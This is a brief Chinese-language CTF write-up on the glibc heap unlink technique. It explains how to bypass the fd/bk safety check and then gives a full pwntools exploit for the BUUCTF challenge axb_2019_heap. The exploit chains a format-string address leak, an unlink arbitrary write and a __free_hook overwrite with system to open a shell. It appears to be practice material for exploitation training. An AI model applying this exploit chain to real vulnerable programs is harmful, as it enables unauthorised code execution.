unlink需要gobal变量然后可以写入多次,全局变量在heap上面
unlink的宏
p->fd=FD
p->bk=BK
if p->fd->bk!=p || p-bk-fd!=p
worry
else
FD->bk=BK &p-0x18
BK->fd=FD &p-0x10
如上可以绕过检查result:&p=&p-0x18
如BUUCTF上的axb_heap
即可使用unlink写到下一个chunk的size的insue位然释放再次编辑堆块的时候写入到上个堆块,再编辑上个堆块即可写入free_hook给system释放布置好的堆块即可拿到shell
exp:
from pwn import *
local=0
if local==1:
p=process('./axb_2019_heap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p=remote('node3.buuoj.cn',25791)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx,size,content):
p.sendlineafter('option:','1')
p.sendlineafter('(0-10):',str(idx))
p.sendlineafter('size',str(size))
p.sendlineafter('content:',content)
def delete(idx):
p.sendlineafter('option:','2')
p.sendlineafter('index:',str(idx))
def edit(idx,content):
p.sendlineafter('option:','4')
p.sendlineafter('index:',str(idx))
p.sendlineafter('content:',content)
def exp():
p.recvuntil('name: ')
p.sendline("%4$p%11$p")
p.recvuntil('Hello, ')
libcbase=int(p.recv(14),16)-0x5ed700+0x19000
base=int(p.recv(14),16)-0x1186
log.success('libcbase: '+hex(libcbase))
log.success('base: '+hex(base))
system_addr=libcbase+libc.sym['system']
o_g=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libcbase+o_g[0]
#unlink
add(0,0x88,'/bin/sh\x00\n')
add(1,0x88,'b\n')
add(2,0x88,'c\n')
add(3,0x88,'d\n')
add(4,0xf8,'e\n')
add(5,0x88,'f\n')
payload = "\x00"*0x10
payload += p64(base+0x202090-0x18)+p64(base+0x202090-0x10)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80)
edit(3,payload+'\x90')
delete(4) edit(3,p64(0x88)+p64(libcbase+libc.symbols['__free_hook'])+p64(0x8))
edit(2,p64(system_addr)+'\n')
#gdb.attach(p,'b *$rebase(0x0F88)')
p.sendlineafter('option:','2')
p.sendlineafter('index:',str(0))
p.interactive()
if __name__=="__main__":
exp()